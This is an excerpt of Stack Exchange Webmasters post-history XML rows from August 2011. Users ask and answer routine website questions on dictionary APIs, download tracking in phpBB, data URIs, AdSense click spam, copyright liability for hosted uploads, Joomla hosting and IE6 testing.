  <row Id="44150" PostHistoryTypeId="5" PostId="18189" RevisionGUID="66634b77-b201-4a2e-8a32-776ba8f53cbd" CreationDate="2011-08-14T05:08:24.117" UserId="1253" Comment="modified tags, minor text edits" Text="I would like to have a dictionary for my website where the user can easily fill in a word or better yet right click a word and get the definition right there on the page or something along those lines. &#xD;&#xA;&#xD;&#xA;Are there any Dictionary API's out there that I can incorporate to my site? I have looked and cannot find anything. &#xD;&#xA;" />
  <row Id="44151" PostHistoryTypeId="6" PostId="18189" RevisionGUID="66634b77-b201-4a2e-8a32-776ba8f53cbd" CreationDate="2011-08-14T05:08:24.117" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;javascript&gt;&lt;jquery&gt;&lt;api&gt;" />
  <row Id="44152" PostHistoryTypeId="4" PostId="18190" RevisionGUID="b1c6586d-a3f0-4f4e-9e4d-e7f6196229e6" CreationDate="2011-08-14T05:08:54.040" UserId="1253" Comment="edited tags; edited title" Text="CMS for social photo album" />
  <row Id="44153" PostHistoryTypeId="6" PostId="18190" RevisionGUID="b1c6586d-a3f0-4f4e-9e4d-e7f6196229e6" CreationDate="2011-08-14T05:08:54.040" UserId="1253" Comment="edited tags; edited title" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;&lt;photo&gt;" />
  <row Id="44154" PostHistoryTypeId="25" PostId="6577" RevisionGUID="46c509e5-43b7-49b6-9184-b70c24cb912a" CreationDate="2011-08-14T06:34:34.470" Comment="http://twitter.com/#!/StackWebmasters/status/102629161738321920" />
  <row Id="44156" PostHistoryTypeId="25" PostId="6317" RevisionGUID="ad9fc87f-e9cd-4e87-bdd2-071c4651bb7e" CreationDate="2011-08-14T08:34:34.743" Comment="http://twitter.com/#!/StackWebmasters/status/102659365361815552" />
  <row Id="44157" PostHistoryTypeId="17" PostId="18198" RevisionGUID="a88d7b71-f05d-4b8e-8833-674c32b9a37f" CreationDate="2011-08-14T08:38:28.803" UserId="-1" Comment="from http://serverfault.com/questions/300898/can-i-tell-which-users-are-downloading-files-with-smf-or-phpbb-forum-software" Text="" />
  <row Id="44158" PostHistoryTypeId="2" PostId="18198" RevisionGUID="b620f77c-f1b8-466e-90ba-c1f02b93105f" CreationDate="2011-08-14T03:22:21.617" UserDisplayName="Joel" Text="I want to create a forum where I will have attachments available for download to registered users.  I'd like to be able to see which registered users have downloaded which files.  Is there a way to do that using SMF or PHPBB?  I don't need to have 100% accuracy, as I imagine there are probably sneaky ways of masking your download, but this will be on a forum that is not really attracting people that would be using those methods-IE these are totally legit files that people will be downloading in a business setting.&#xD;&#xA;&#xD;&#xA;PS: The files will live on my server, so I suppose it's possible to add a second layer where a user has to enter a password, but I prefer to just have the files as attachments on the forum.&#xD;&#xA;&#xD;&#xA;Thanks for any help!" />
  <row Id="44159" PostHistoryTypeId="1" PostId="18198" RevisionGUID="b620f77c-f1b8-466e-90ba-c1f02b93105f" CreationDate="2011-08-14T03:22:21.617" UserDisplayName="Joel" Text="Can I tell which users are downloading files with SMF or PHPBB forum software?" />
  <row Id="44160" PostHistoryTypeId="3" PostId="18198" RevisionGUID="b620f77c-f1b8-466e-90ba-c1f02b93105f" CreationDate="2011-08-14T03:22:21.617" UserDisplayName="Joel" Text="&lt;forum&gt;&lt;phpbb&gt;" />
  <row Id="44161" PostHistoryTypeId="2" PostId="18199" RevisionGUID="209a53d9-4924-496f-bdc3-bfcbb5cc92ee" CreationDate="2011-08-14T08:44:14.493" UserId="7198" Text="The only advantage of using a country-specific domain in SEO terms is that your site may rank slightly better for searches from that country. It won't make it rank any worse for searches outside the country.&#xD;&#xA;&#xD;&#xA;Spelling an English word using a foreign domain extension won't improve your ranking for that word either, although it could improve ranking for the word stem before the dot (e.g. 'branch' in the case of 'branch.es').&#xD;&#xA;&#xD;&#xA;Search engines determine language from the html [lang](http://www.w3.org/TR/html4/struct/dirlang.html) attribute and/or by autodetection, not by the domain extension alone.&#xD;&#xA;&#xD;&#xA;It may also make the domain easier to remember, so, on the whole, it can be a worthwhile 'hack'." />
  <row Id="44162" PostHistoryTypeId="2" PostId="18200" RevisionGUID="34341d84-4211-49b3-bcd2-ec9470b2a2b2" CreationDate="2011-08-14T09:12:41.487" UserId="7198" Text="You could use a third-party downloads service such as [e-junkie](http://www.e-junkie.com/), which offers a [free downloads feature](http://www.e-junkie.com/ej/free-checkout.htm) where users get access to downloads in return for providing their email address.&#xD;&#xA;&#xD;&#xA;If you're looking for a solution that specifically uses SMF or phpBB, it might be worth asking on the [SMF](http://www.simplemachines.org/community/index.php) or [phpBB](http://www.phpbb.com/community/) community boards. In particular, I know that phpBB already features a download counter for files attached to forum posts, so a good starting point would be to ask how you might adapt the counter code to also log the forum user who downloaded the file." />
  <row Id="44163" PostHistoryTypeId="2" PostId="18201" RevisionGUID="628df8ae-0602-4b42-af18-989c61089bd8" CreationDate="2011-08-14T09:19:30.503" UserId="5502" Text="Go to this video: http://www.youtube.com/watch?v=qrO4YZeyl0I on Firefox6.0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;Now, right click on the black image (View Background Image), you will see this in the address bar:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ideally the path of the image is displayed, but what is this? some new HTML5 way of doing things in base64??&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/3spFu.png" />
  <row Id="44164" PostHistoryTypeId="1" PostId="18201" RevisionGUID="628df8ae-0602-4b42-af18-989c61089bd8" CreationDate="2011-08-14T09:19:30.503" UserId="5502" Text="What is this image type on Youtube.com?" />
  <row Id="44165" PostHistoryTypeId="3" PostId="18201" RevisionGUID="628df8ae-0602-4b42-af18-989c61089bd8" CreationDate="2011-08-14T09:19:30.503" UserId="5502" Text="&lt;html&gt;" />
  <row Id="44166" PostHistoryTypeId="2" PostId="18202" RevisionGUID="c17ab886-18d6-4a2e-b60f-5b173168b224" CreationDate="2011-08-14T09:38:12.593" UserId="9572" Text="Here is how the webmaster actually had done it.&#xD;&#xA;&#xD;&#xA;When user uploaded the image, it did a base64_encode(image)&#xD;&#xA;stored it in the database with key value 1234&#xD;&#xA;&#xD;&#xA;then, what you see is:&#xD;&#xA;&#xD;&#xA;header('application-type : image/png')&#xD;&#xA;&#xD;&#xA;decoded - base64_encode(image)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;encoding anything into base64 converts it into a text which can be store in database easily once u decode it, you just need to specify header information of that file.&#xD;&#xA;&#xD;&#xA;Done!&#xD;&#xA;&#xD;&#xA;and no, its not HTML5, infact, it has NOTHING TO DO with what HTML it is using. It will work even on IE7 :)" />
  <row Id="44167" PostHistoryTypeId="2" PostId="18203" RevisionGUID="8b023a4b-9bcb-4b42-8ec5-f49b1d299202" CreationDate="2011-08-14T09:44:59.303" UserId="8354" Text="No -- it is an old and known way -- just relatively rarely used.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Data_URI_scheme&#xD;&#xA;&#xD;&#xA;The image is part of the page itself and is transmitted on every page view and therefore cannot be cached by browser which means you spending more traffic. The benefit compared to standalone image is that you have less requests sent to a server.&#xD;&#xA;&#xD;&#xA;Search for [data uri scheme](http://www.google.co.uk/search?q=data+uri+scheme) and you will see plenty of examples how to use, when to use and what pros &amp; cons are.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44168" PostHistoryTypeId="25" PostId="18195" RevisionGUID="1ba87096-517b-49d2-853c-27f4707e8572" CreationDate="2011-08-14T10:34:35.033" Comment="http://twitter.com/#!/StackWebmasters/status/102689565143351296" />
  <row Id="44169" PostHistoryTypeId="2" PostId="18204" RevisionGUID="3e67947d-859e-4644-9112-c6a093aef409" CreationDate="2011-08-14T11:16:50.203" UserId="9329" Text="I am using Chrome's developer tools. I have a menu using &lt;li&gt; that change when hovered on. &#xD;&#xA;In the inspector, how do I see the data for when I mouse-over vs. not?" />
  <row Id="44170" PostHistoryTypeId="1" PostId="18204" RevisionGUID="3e67947d-859e-4644-9112-c6a093aef409" CreationDate="2011-08-14T11:16:50.203" UserId="9329" Text="How to Inspect on hover?" />
  <row Id="44171" PostHistoryTypeId="3" PostId="18204" RevisionGUID="3e67947d-859e-4644-9112-c6a093aef409" CreationDate="2011-08-14T11:16:50.203" UserId="9329" Text="&lt;html&gt;&lt;css&gt;&lt;chrome&gt;" />
  <row Id="44172" PostHistoryTypeId="2" PostId="18205" RevisionGUID="3c6d8546-9851-4d95-847a-a207cf16520c" CreationDate="2011-08-14T11:25:16.823" UserId="1808" Text="I wonder what happens if I have a website with adsense and a user wittingly clicks the ads many times for a long time with result to ban my account. Google bots will trace this behavior and I suppose will ban it but I am not responsible for this behavior. What happen in these cases? Has google any answer for this?" />
  <row Id="44173" PostHistoryTypeId="1" PostId="18205" RevisionGUID="3c6d8546-9851-4d95-847a-a207cf16520c" CreationDate="2011-08-14T11:25:16.823" UserId="1808" Text="adsense and click bombing" />
  <row Id="44174" PostHistoryTypeId="3" PostId="18205" RevisionGUID="3c6d8546-9851-4d95-847a-a207cf16520c" CreationDate="2011-08-14T11:25:16.823" UserId="1808" Text="&lt;google&gt;&lt;google-adsense&gt;&lt;advertising&gt;" />
  <row Id="44175" PostHistoryTypeId="2" PostId="18206" RevisionGUID="a2f020e7-9bc7-4942-874c-46f4009bc154" CreationDate="2011-08-14T11:52:38.487" UserId="1064" Text="You could append the user's ID or username as a part of a query string on the download link in your forum software's templates and periodically `grep` your webserver logs for requests on the download script and store username/file correlations -or- you could modify the download script to log to a file or update a database once a file is downloaded (if you take this route, it would be advisable to store a value from the user's session variables)." />
  <row Id="44176" PostHistoryTypeId="25" PostId="5368" RevisionGUID="54285660-ac54-427d-aee0-657e88fcf05e" CreationDate="2011-08-14T12:34:35.320" Comment="http://twitter.com/#!/StackWebmasters/status/102719765847613440" />
  <row Id="44177" PostHistoryTypeId="2" PostId="18207" RevisionGUID="b8aad2fd-369d-454a-83d2-7769f905989b" CreationDate="2011-08-14T13:18:35.207" UserId="7198" Text="You may wish to consider a code snippet collection sharing service such as [Smipple](http://www.smipple.net/), [Code Barrel](http://www.codebarrel.com/), or [CodePad Projects](http://codepad.org/mkproj). They're designed for teams to share code/markup; some (e.g. Code Barrel) allow you to tag snippets, which may help your team organise them by UI element." />
  <row Id="44178" PostHistoryTypeId="2" PostId="18208" RevisionGUID="e1ac7c3d-3c3e-460b-9bdb-4a16fdfa32d2" CreationDate="2011-08-14T13:37:00.497" UserId="1064" Text="From an advertiser's archived correspondence with Google:&#xD;&#xA;&#xD;&#xA;&gt; Repeated clicks on the same ad is known as 'click spamming'. We take&#xD;&#xA;&gt; click spamming very seriously and work to ensure that our advertisers&#xD;&#xA;&gt; are billed only for legitimate clicks. The AdWords engineering team&#xD;&#xA;&gt; proactively identifies and filters fraudulent and excessive ad&#xD;&#xA;&gt; impressions. Once we have identified a 'click-spammer' we take steps&#xD;&#xA;&gt; to exclude future impressions from that individual on our system. We&#xD;&#xA;&gt; also make sure that advertisers are not charged for clicks that result&#xD;&#xA;&gt; from this type of spamming activity. Since the behavior of&#xD;&#xA;&gt; clickspammers changes, we frequently update our click spam detection&#xD;&#xA;&gt; to combat click spam.&#xD;&#xA;&gt; &#xD;&#xA;&gt; It is possible that a user would legitimately click on your ad more&#xD;&#xA;&gt; than one time.  For example, the user may be comparison shopping or&#xD;&#xA;&gt; returning to your site for more information. Additionally, some&#xD;&#xA;&gt; Internet Service Providers assign a single IP address to more than one&#xD;&#xA;&gt; user. For this reason, you may see a certain amount of 'multiple&#xD;&#xA;&gt; clicks'. These clicks represent legitimate users accessing your&#xD;&#xA;&gt; advertisement in expected ways.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Please know that all clicks that are considered click spam are&#xD;&#xA;&gt; automatically filtered from reports.&#xD;&#xA;&#xD;&#xA;[Malicious clicking regarding Google, Overture][1]&#xD;&#xA;&#xD;&#xA;Google claims to be able to detect click spam: in the case of an advertiser, this means avoiding unnecessary billing and, in the case of a publisher like yourself, this means identifying accounts which appear to be generating revenue on spammed clicks (though identifying whom is responsible is virtually impossible, given a moderate level of sophistication on the part of the click spammer, not unlike a [joe job][2]).&#xD;&#xA;&#xD;&#xA;There would be no way to prove that you *weren't* the one attempting to game AdSense for your own profit, so I suspect that your AdSense account would be suspended and/or terminated if the fraudulent activity continued.&#xD;&#xA;&#xD;&#xA;Google has to assume that *you* are responsible if fraudulent clicks keep occurring on your AdSense account, however, you shouldn't worry too much about competitors trying to run you out of business by clicking on your AdSense ads because there are so many sites running AdSense that it would be an impractical way to compete.&#xD;&#xA;&#xD;&#xA;  [1]: http://answers.google.com/answers/threadview/id/275552.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Joe_job&#xD;&#xA;  [3]: https://www.google.com/adsense/localized-terms" />
  <row Id="44179" PostHistoryTypeId="25" PostId="5238" RevisionGUID="30b0a46e-632f-4c68-8385-d4a744016ab9" CreationDate="2011-08-14T14:34:36.443" Comment="http://twitter.com/#!/StackWebmasters/status/102749969404010496" />
  <row Id="44180" PostHistoryTypeId="2" PostId="18209" RevisionGUID="8aa2485b-863e-4241-9a51-15331f09dcbb" CreationDate="2011-08-14T15:19:16.027" UserId="8957" Text="I have written my own very simple CMS and everything i publish on my page will go on the landing page (http://xyious.com). so every time i write a new page, regardless of where it ends up on the navigation, it will also go on the homepage, very much like a blog. Now i have already submitted a sitemap that tells google that the landing page changes very frequently (daily), although it doesn't change that often.&#xD;&#xA;&#xD;&#xA;Is there any way to tell google that the landing page is essentially a blog ?&#xD;&#xA;&#xD;&#xA;Is there a way to tell google that there is duplicate content because obviously the landing page has the same content as a page in the archives ?" />
  <row Id="44181" PostHistoryTypeId="1" PostId="18209" RevisionGUID="8aa2485b-863e-4241-9a51-15331f09dcbb" CreationDate="2011-08-14T15:19:16.027" UserId="8957" Text="how do i tell google that my landing page is a blog?" />
  <row Id="44182" PostHistoryTypeId="3" PostId="18209" RevisionGUID="8aa2485b-863e-4241-9a51-15331f09dcbb" CreationDate="2011-08-14T15:19:16.027" UserId="8957" Text="&lt;seo&gt;&lt;google&gt;&lt;sitemap&gt;" />
  <row Id="44183" PostHistoryTypeId="2" PostId="18210" RevisionGUID="f5632915-3f58-4839-a311-5393331d197e" CreationDate="2011-08-14T15:23:20.133" UserId="9573" Text="I am interested how copyright law works in the case of Rapidshare, Youtube and etc. Just hypothetically speaking, what if I create a website for uploading and sharing MP3 files, and some users start uploading songs in MP3 format that are protected by copyright laws. &#xD;&#xA;&#xD;&#xA;Can I get sued for this? Knowing that it wasn't me who uploaded that content?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;PS. also maybe there is some good source where I could read about law cavities related to copyright material? " />
  <row Id="44184" PostHistoryTypeId="1" PostId="18210" RevisionGUID="f5632915-3f58-4839-a311-5393331d197e" CreationDate="2011-08-14T15:23:20.133" UserId="9573" Text="Non-intentional hosting of material that is protected by copyright law" />
  <row Id="44185" PostHistoryTypeId="3" PostId="18210" RevisionGUID="f5632915-3f58-4839-a311-5393331d197e" CreationDate="2011-08-14T15:23:20.133" UserId="9573" Text="&lt;copyright&gt;&lt;law&gt;" />
  <row Id="44186" PostHistoryTypeId="2" PostId="18211" RevisionGUID="3e050efe-5649-4a2c-88c5-db289a9ae2fd" CreationDate="2011-08-14T15:35:25.033" UserId="8957" Text="[this article][1] tells you how it's done. I do not think, however, that any blog comes with it preinstalled. If you don't do a fair bit of web programming i think it would be reasonably hard to get it done.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codingthewheel.com/archives/syntax-highlighting-stackoverflow-google-prettify" />
  <row Id="44187" PostHistoryTypeId="17" PostId="18212" RevisionGUID="69011780-3bee-449a-8ea2-492c2114c950" CreationDate="2011-08-14T15:38:57.617" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/101021/if-i-use-a-joomla-hosting-provider-am-i-able-to-customize-the-php-completely" Text="" />
  <row Id="44188" PostHistoryTypeId="17" PostId="18213" RevisionGUID="08a57d55-84a7-4518-8b83-69892dc38f44" CreationDate="2011-08-14T15:38:57.617" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/101021/if-i-use-a-joomla-hosting-provider-am-i-able-to-customize-the-php-completely" Text="" />
  <row Id="44189" PostHistoryTypeId="2" PostId="18213" RevisionGUID="3ba99dd0-e6ee-4dbc-bd46-8719e1121b19" CreationDate="2011-08-14T15:11:30.830" UserId="1544" Text="It's highly dependent on your hosting provider. I they allow you to use FTP you just upload your theme and select it under Joomla control panel." />
  <row Id="44190" PostHistoryTypeId="2" PostId="18212" RevisionGUID="93499dc3-71d6-4d4e-8123-fa66f860e387" CreationDate="2011-08-14T14:55:30.107" UserDisplayName="Cheeso" Text="not sure if this is the right place to ask. &#xD;&#xA;&#xD;&#xA;Joomla is offered by many hosting providers.  I have set up joomla 1.7 on my local machine, and I've found a nice template to start with. But I customized it for my needs -resizing divs, modifying the css extensively, and even modifying index.php in some cases.&#xD;&#xA;&#xD;&#xA;will I be able to do the same if I host a joomla installation at a hosting provider?&#xD;&#xA;&#xD;&#xA;How do I get the modified PHP up to the hoster? Is it FTP only or is there some other remote access offered? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="44191" PostHistoryTypeId="1" PostId="18212" RevisionGUID="93499dc3-71d6-4d4e-8123-fa66f860e387" CreationDate="2011-08-14T14:55:30.107" UserDisplayName="Cheeso" Text="If I use a joomla hosting provider, am I able to customize the PHP *completely*?" />
  <row Id="44192" PostHistoryTypeId="3" PostId="18212" RevisionGUID="93499dc3-71d6-4d4e-8123-fa66f860e387" CreationDate="2011-08-14T14:55:30.107" UserDisplayName="Cheeso" Text="&lt;web-hosting&gt;&lt;joomla&gt;" />
  <row Id="44193" PostHistoryTypeId="2" PostId="18214" RevisionGUID="4ddecb48-0f71-4e3a-8027-f2f2f54bffa4" CreationDate="2011-08-14T15:41:24.383" UserId="8957" Text="You can not be sued for hosting content that other people upload, unless you receive a request to take something down and you don't follow it. also if your site does not discourage people from uploading copyrighted content you can get into a bit of trouble. like having a site saying 'upload your favorite songs here so everyone can enjoy them' would obviously get you into a lot of trouble. 'upload your songs here if you have the rights to them' would be ok.&#xD;&#xA;&#xD;&#xA;As long as you take content down immediately after receiving a notice that it's copyrighted content you should be ok. (I am not a lawyer, i assume this is US law we're talking about)" />
  <row Id="44194" PostHistoryTypeId="2" PostId="18215" RevisionGUID="f533afe1-b0c7-4a6c-a7e2-f718f5fbd1de" CreationDate="2011-08-14T15:44:39.183" UserId="8957" Text="It obviously depends on the hoster. I assume that nearly all web hosting companies allow uploading files through ftp, which *should* allow you to even switch from joomla to something else. You will have to see what the hosting company offers and you might even have to send an email to make sure if they don't advertise it and you can't see what you're allowed to do before signing anything." />
  <row Id="44195" PostHistoryTypeId="2" PostId="18216" RevisionGUID="0e432bfa-0684-485a-b898-48262a94230f" CreationDate="2011-08-14T16:08:12.313" UserId="539" Text="For some time now, Microsoft has made available free, time-limited Virtual PC images for testing web apps in older versions of IE. The most recent version is here:&#xD;&#xA;&#xD;&#xA;- http://www.microsoft.com/download/en/details.aspx?id=11575&#xD;&#xA;&#xD;&#xA;But the XP VPC image has now expired, meaning one can no longer test IE 6 using this method.&#xD;&#xA;&#xD;&#xA;Have Microsoft made updated XP VPC images available? If not, have they commented on the situation? Do they have any alternative method to test web apps in IE 6?" />
  <row Id="44196" PostHistoryTypeId="1" PostId="18216" RevisionGUID="0e432bfa-0684-485a-b898-48262a94230f" CreationDate="2011-08-14T16:08:12.313" UserId="539" Text="Has Microsoft stopped offering the free Internet Explorer Application Compatibility VPC Image for IE 6 testing?" />
  <row Id="44197" PostHistoryTypeId="3" PostId="18216" RevisionGUID="0e432bfa-0684-485a-b898-48262a94230f" CreationDate="2011-08-14T16:08:12.313" UserId="539" Text="&lt;testing&gt;&lt;microsoft&gt;&lt;internet-explorer-6&gt;" />
  <row Id="44198" PostHistoryTypeId="25" PostId="18216" RevisionGUID="8e396268-20cc-4c6f-9ce7-46e28260bdd6" CreationDate="2011-08-14T16:34:37.373" Comment="http://twitter.com/#!/StackWebmasters/status/102780172377395200" />
  <row Id="44199" PostHistoryTypeId="5" PostId="18204" RevisionGUID="0fa97f28-60f9-4aa6-b88b-79a1c0fd0f07" CreationDate="2011-08-14T16:59:49.610" UserId="4118" Comment="escape html element" Text="I am using Chrome's developer tools. I have a menu using &amp;lt;li&gt; that changes when hovered on. &#xD;&#xA;In the inspector, how do I see the data for when I mouse-over vs. not?" />
  <row Id="44200" PostHistoryTypeId="24" PostId="18204" RevisionGUID="0fa97f28-60f9-4aa6-b88b-79a1c0fd0f07" CreationDate="2011-08-14T16:59:49.610" Comment="Proposed by 4118 approved by -1 edit id of 484" />
  <row Id="44201" PostHistoryTypeId="5" PostId="18204" RevisionGUID="97fe8403-5cdc-4447-bb79-a52aba8d2e68" CreationDate="2011-08-14T16:59:49.827" UserId="1064" Comment="HTML code corrected" Text="I am using Chrome's developer tools. I have a menu using `&lt;li&gt;` that changes when hovered on. &#xD;&#xA;In the inspector, how do I see the data for when I mouse-over vs. not?" />
  <row Id="44202" PostHistoryTypeId="5" PostId="18216" RevisionGUID="72b4c10b-d9e9-4b17-aef6-27892c0ce691" CreationDate="2011-08-14T18:08:11.760" UserId="539" Comment="added 29 characters in body" Text="For some time now, Microsoft has made available free, stripped-down, time-limited Virtual PC images for testing web apps in older versions of IE. The most recent version is here:&#xD;&#xA;&#xD;&#xA;- http://www.microsoft.com/download/en/details.aspx?id=11575&#xD;&#xA;&#xD;&#xA;But the XP VPC image has now expired, meaning one can no longer test IE 6 using this method.&#xD;&#xA;&#xD;&#xA;1. Have Microsoft made updated XP VPC images available?&#xD;&#xA;2. If not, have they commented on the situation?&#xD;&#xA;3. Do they provide any alternative method to test web apps in IE 6?" />
  <row Id="44203" PostHistoryTypeId="2" PostId="18217" RevisionGUID="b481aaee-cf25-4af7-9b47-f27be8323816" CreationDate="2011-08-14T18:26:11.423" UserId="7198" Text="The free [IETester](http://www.my-debugbar.com/wiki/IETester/HomePage) application allows you to test IE10 preview, IE9, IE8, IE7 IE 6 and IE5.5 on Windows 7, Vista and XP, and requires no installation of separate virtual images. I've been using it for several years for IE tests without issue.&#xD;&#xA;&#xD;&#xA;I don't know of an 'official' alternative from Microsoft, but it's possible that they'll be dropping support for the IE6 XP image, given that they're actively trying to discourage use of the browser in general: http://www.ie6countdown.com/" />
  <row Id="44204" PostHistoryTypeId="25" PostId="18212" RevisionGUID="42da79d8-d09c-471a-91b6-73cd15d67d7e" CreationDate="2011-08-14T18:34:38.160" Comment="http://twitter.com/#!/StackWebmasters/status/102810374868443137" />
  <row Id="44205" PostHistoryTypeId="25" PostId="18205" RevisionGUID="8514107a-2957-46c0-b64a-550c5dc35882" CreationDate="2011-08-14T20:34:39.027" Comment="http://twitter.com/#!/StackWebmasters/status/102840577489510400" />
  <row Id="44206" PostHistoryTypeId="2" PostId="18218" RevisionGUID="996768c8-2f9d-47e1-b52e-695b9116f07e" CreationDate="2011-08-14T21:52:12.290" UserId="5532" Text="Is there a way to use @media queries with pages embedded into Facebook &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Would a @media query recognize the 520px Facebook iframe limitation?" />
  <row Id="44207" PostHistoryTypeId="1" PostId="18218" RevisionGUID="996768c8-2f9d-47e1-b52e-695b9116f07e" CreationDate="2011-08-14T21:52:12.290" UserId="5532" Text="Facebook CSS Media Query" />
  <row Id="44208" PostHistoryTypeId="3" PostId="18218" RevisionGUID="996768c8-2f9d-47e1-b52e-695b9116f07e" CreationDate="2011-08-14T21:52:12.290" UserId="5532" Text="&lt;css&gt;&lt;facebook&gt;" />
  <row Id="44209" PostHistoryTypeId="5" PostId="18218" RevisionGUID="ff600735-3282-4087-be3d-11805585e0f9" CreationDate="2011-08-14T22:21:57.520" UserId="4502" Comment="deleted 77 characters in body; edited title" Text="Would a @media query recognize the 520px Facebook iframe limitation?" />
  <row Id="44210" PostHistoryTypeId="4" PostId="18218" RevisionGUID="ff600735-3282-4087-be3d-11805585e0f9" CreationDate="2011-08-14T22:21:57.520" UserId="4502" Comment="deleted 77 characters in body; edited title" Text="Is there a way to use @media queries with pages embedded into Facebook?" />
  <row Id="44211" PostHistoryTypeId="25" PostId="18201" RevisionGUID="1be689a9-78d3-4083-835d-f68892060732" CreationDate="2011-08-14T22:34:39.417" Comment="http://twitter.com/#!/StackWebmasters/status/102870778080534528" />
  <row Id="44212" PostHistoryTypeId="5" PostId="18197" RevisionGUID="384a2deb-695e-4cc3-9e8b-2f337863deab" CreationDate="2011-08-14T22:38:34.870" UserId="4502" Comment="Formatting" Text="* css-tricks.com&#xD;&#xA;* smashing magazine&#xD;&#xA;* codrops&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44213" PostHistoryTypeId="17" PostId="18219" RevisionGUID="be975f90-6912-412b-bb27-a8047a80442b" CreationDate="2011-08-14T23:28:37.057" UserId="-1" Comment="from http://stackoverflow.com/questions/7060421/website-hacking" Text="" />
  <row Id="44214" PostHistoryTypeId="17" PostId="18220" RevisionGUID="9d4fab2d-f29a-4d92-b332-e3938d6eae12" CreationDate="2011-08-14T23:28:37.057" UserId="-1" Comment="from http://stackoverflow.com/questions/7060421/website-hacking" Text="" />
  <row Id="44215" PostHistoryTypeId="17" PostId="18221" RevisionGUID="227b81cf-61f2-496a-8e1e-36ed7064db96" CreationDate="2011-08-14T23:28:37.057" UserId="-1" Comment="from http://stackoverflow.com/questions/7060421/website-hacking" Text="" />
  <row Id="44216" PostHistoryTypeId="2" PostId="18220" RevisionGUID="b26f720e-a02b-4025-a81a-f0e9a8b378e9" CreationDate="2011-08-14T23:27:36.387" UserId="9583" UserDisplayName="glglgl" Text="Maybe they are hackers - it is not a bad thing unless they are crackers as well.&#xD;&#xA;&#xD;&#xA;Maybe downloading with the help of automated tools is just easier than clicking all files manually - especially when the download tool would be able to put them right where one needs/wants them." />
  <row Id="44217" PostHistoryTypeId="2" PostId="18221" RevisionGUID="c3b6f3ac-aa06-4932-9252-3ed02910fe79" CreationDate="2011-08-14T23:27:51.823" UserId="8995" Text="It's very unlikely they're hacking anything. It's quite likely they're just using a robot/macro to download all the .zip files so that they don't have to manually click each one.&#xD;&#xA;&#xD;&#xA;What type of files are in the .zip files?" />
  <row Id="44218" PostHistoryTypeId="2" PostId="18219" RevisionGUID="431ae29c-eb3b-463f-931b-e9795ecfcffb" CreationDate="2011-08-14T23:23:43.297" UserDisplayName="FadelMS" Text="I'm running a website for a while and I'm still learning how to manage it. One thing I've noticed is that some visitors download all zip files in the same order ( there is a pattern of downloads). I've also noticed that the referrers of those visitors are always blank. I think these downloads are done automatically with the help of certain software. My question is: Are those visitors hackers? If they are, why are they doing this when they can download my files legally? Thanks" />
  <row Id="44219" PostHistoryTypeId="1" PostId="18219" RevisionGUID="431ae29c-eb3b-463f-931b-e9795ecfcffb" CreationDate="2011-08-14T23:23:43.297" UserDisplayName="FadelMS" Text="website hacking" />
  <row Id="44220" PostHistoryTypeId="3" PostId="18219" RevisionGUID="431ae29c-eb3b-463f-931b-e9795ecfcffb" CreationDate="2011-08-14T23:23:43.297" UserDisplayName="FadelMS" Text="&lt;networking&gt;&lt;hacking&gt;" />
  <row Id="44221" PostHistoryTypeId="2" PostId="18222" RevisionGUID="7e7e2b8e-b6e5-49ad-8310-08f6471d7873" CreationDate="2011-08-14T23:33:31.440" UserId="9584" Text="The use of tools to download your files does not mean they are doing anything illegal.  Infact if your files are made available on your website, I don't see downloading them in any particular way could be construed as illegal.&#xD;&#xA;&#xD;&#xA;Perhaps if the resources you make available on the website are useful downloaded en-mass, perhaps you should make a single download for them.&#xD;&#xA;" />
  <row Id="44222" PostHistoryTypeId="2" PostId="18223" RevisionGUID="dc3e2da4-8a3e-43e5-aaac-f16ddd3c0a4b" CreationDate="2011-08-14T23:55:39.563" UserId="4461" Text="There is no specific requirement to tell Google this, millions of websites are blog sites and they manage just fine.&#xD;&#xA;&#xD;&#xA;Each blog post should have it's own linked-to dedicated URL however (permalink - normally the article title is linked), and the XML sitemap should refer to this URL.&#xD;&#xA;&#xD;&#xA;Looking at your site, however, there are additional duplicate content issues where your content is appearing under multiple URLs (home page, /Miscellaneous, /Miscellaneous/Starcraft.php etc), and your &quot;home page&quot; at / is different from your linked-to home page at /Home/index.php, as well as having no-www and www versions of every page.&#xD;&#xA;&#xD;&#xA;I'd suggest you take a look at other popular Blog/CMS systems (Wordpress/Drupal etc) to see how they handle home-page vs posts/pages." />
  <row Id="44223" PostHistoryTypeId="2" PostId="18224" RevisionGUID="1b28d34f-2d84-41b5-acff-92a2573c1945" CreationDate="2011-08-15T00:01:25.997" UserId="4461" Text="From [Google][1]:&#xD;&#xA;&#xD;&#xA;&gt; **Time spent downloading a page** (in Crawl stats) is the time for *just downloading the HTML of your page*, by Googlebot. Site Performance, on the other hand, shows you how long it took to load a full page (including all its images, scripts, etc), by your website's users across the globe.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=24189413abb85578&amp;hl=en" />
